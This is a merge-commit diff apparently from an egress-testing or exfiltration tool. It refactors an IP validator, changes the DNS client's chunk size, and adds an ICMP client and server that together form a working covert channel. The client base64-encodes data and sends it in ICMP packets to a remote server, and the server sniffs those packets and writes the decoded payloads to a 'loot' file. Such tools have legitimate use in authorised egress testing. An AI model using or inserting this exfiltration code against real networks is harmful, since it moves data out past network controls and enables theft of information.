Merge pull request #17 from ChrisTruncer/icmp_working

Icmp working

common/helpers.py

@@ -7,6 +7,7 @@ This is for functions potentially used by all modules
 import argparse
 import os
 import random
+import re
 import string
 import sys
 import time
@@ -119,6 +120,20 @@ def ea_path():
     return os.getcwd()
 
 
+def validate_ip(val_ip):
+    # This came from (Mult-line link for pep8 compliance)
+    # http://python-iptools.googlecode.com/svn-history/r4
+    # /trunk/iptools/__init__.py
+    ip_re = re.compile(r'^(\d{1,3}\.){0,3}\d{1,3}$')
+    if ip_re.match(val_ip):
+        quads = (int(q) for q in val_ip.split('.'))
+        for q in quads:
+            if q > 255:
+                return False
+        return True
+    return False
+
+
 def writeout_text_data(incoming_data):
     # Get the date info
     current_date = time.strftime("%m/%d/%Y")

protocols/clients/dns_client.py

@@ -10,6 +10,7 @@ import base64
 import re
 import socket
 import sys
+from common import helpers
 from scapy.all import *
 
 
@@ -17,7 +18,7 @@ class Client:
 
     def __init__(self, cli_object):
         self.protocol = "dns"
-        self.length = 62
+        self.length = 35
         self.remote_server = cli_object.ip
 
     def transmit(self, data_to_transmit):
@@ -26,22 +27,20 @@ class Client:
         packet_number = 1
 
         # Determine if sending via IP or domain name
-        if self.validate_ip(self.remote_server):
+        if helpers.validate_ip(self.remote_server):
             final_destination = self.remote_server
         else:
             print "[*] Resolving IP of domain..."
             final_destination = socket.gethostbyname(self.remote_server)
 
-        print "[*] Splitting data into chunks that fit in DNS packets...."
-
-        while (byte_reader < len(data_to_transmit) + 35):
-            encoded_data = base64.b64encode(data_to_transmit[byte_reader:byte_reader + 35])
+        while (byte_reader < len(data_to_transmit) + self.length):
+            encoded_data = base64.b64encode(data_to_transmit[byte_reader:byte_reader + self.length])
 
             # calcalate total packets
-            if ((len(data_to_transmit) % 35) == 0):
-                total_packets = len(data_to_transmit) / 35
+            if ((len(data_to_transmit) % self.length) == 0):
+                total_packets = len(data_to_transmit) / self.length
             else:
-                total_packets = (len(data_to_transmit) / 35) + 1
+                total_packets = (len(data_to_transmit) / self.length) + 1
 
             print "[*] Packet Number/Total Packets:        " + str(packet_number) + "/" + str(total_packets)
 
@@ -57,20 +56,7 @@ class Client:
                 sys.exit()
 
             # Increment counters
-            byte_reader += 35
+            byte_reader += self.length
             packet_number += 1
 
         return
-
-    def validate_ip(self, val_ip):
-        # This came from (Mult-line link for pep8 compliance)
-        # http://python-iptools.googlecode.com/svn-history/r4
-        # /trunk/iptools/__init__.py
-        ip_re = re.compile(r'^(\d{1,3}\.){0,3}\d{1,3}$')
-        if ip_re.match(val_ip):
-            quads = (int(q) for q in val_ip.split('.'))
-            for q in quads:
-                if q > 255:
-                    return False
-            return True
-        return False

protocols/clients/icmp_client.py

@@ -0,0 +1,61 @@
+'''
+
+This is the template that should be used for client modules.
+A brief description of the client module can/should be placed
+up here.  All necessary imports should be placed between the
+comments and class declaration.
+
+Finally, be sure to rename your client module to a .py file
+
+'''
+
+import base64
+import re
+import socket
+import sys
+from common import helpers
+from scapy.all import *
+
+
+class Client:
+
+    def __init__(self, cli_object):
+        self.protocol = "icmp"
+        self.length = 1100   # Number of cleartext characters allowed before b64 encoded
+        self.remote_server = cli_object.ip
+
+    def transmit(self, data_to_transmit):
+
+        byte_reader = 0
+        packet_number = 1
+
+        # Determine if sending via IP or domain name
+        if helpers.validate_ip(self.remote_server):
+            final_destination = self.remote_server
+        else:
+            print "[*] Resolving IP of domain..."
+            final_destination = socket.gethostbyname(self.remote_server)
+
+        while (byte_reader < len(data_to_transmit) + self.length):
+            encoded_data = base64.b64encode(data_to_transmit[byte_reader:byte_reader + self.length])
+
+            # calcalate total packets
+            if ((len(data_to_transmit) % self.length) == 0):
+                total_packets = len(data_to_transmit) / self.length + 1
+            else:
+                total_packets = (len(data_to_transmit) / self.length) + 2
+
+            print "[*] Packet Number/Total Packets:        " + str(packet_number) + "/" + str(total_packets)
+
+            # Craft the packet with scapy
+            try:
+                send(IP(dst=final_destination)/ICMP()/(encoded_data), verbose=False)
+            except KeyboardInterrupt:
+                print "[*] Shutting down..."
+                sys.exit()
+
+            # Increment counters
+            byte_reader += self.length
+            packet_number += 1
+
+        return

protocols/servers/icmp_server.py

@@ -0,0 +1,61 @@
+'''
+
+A brief description of the server module can be placed up here
+All import should go between the comments and class declaration
+If you have a question, feel free to check out the other server
+modules ot just hit me up.
+
+Finally, be sure to rename this to a .py file
+
+'''
+
+import base64
+import time
+from common import helpers
+from scapy.all import *
+
+
+class Server:
+
+    def __init__(self, cli_object):
+        self.protocol = "icmp"
+        self.file_name = ''
+        self.last_packet = ''
+        self.loot_path = ''
+
+    def customAction(self, packet):
+
+        if packet.haslayer(ICMP):
+            if packet.haslayer(Raw):
+                icmp_strings = repr(packet[Raw])
+                try:
+                    incoming_data = base64.b64decode(icmp_strings.split('\'')[1])
+                    if incoming_data == self.last_packet:
+                        pass
+                    else:
+                        with open(self.loot_path + self.file_name, 'a') as icmp_out:
+                            icmp_out.write(incoming_data)
+                        self.last_packet = incoming_data
+                except TypeError:
+                    pass
+                except IndexError:
+                    pass
+        return
+
+    def serve(self):
+
+        self.loot_path = os.path.join(helpers.ea_path(), "data") + "/"
+        # Check to make sure the agent directory exists, and a loot
+        # directory for the agent.  If not, make them
+        if not os.path.isdir(self.loot_path):
+            os.makedirs(self.loot_path)
+
+        # Get the date info
+        current_date = time.strftime("%m/%d/%Y")
+        current_time = time.strftime("%H:%M:%S")
+        self.file_name = current_date.replace("/", "") +\
+            "_" + current_time.replace(":", "") + "text_data.txt"
+
+        print "[*] ICMP server/sniffer started!"
+        sniff(prn=self.customAction)
+        return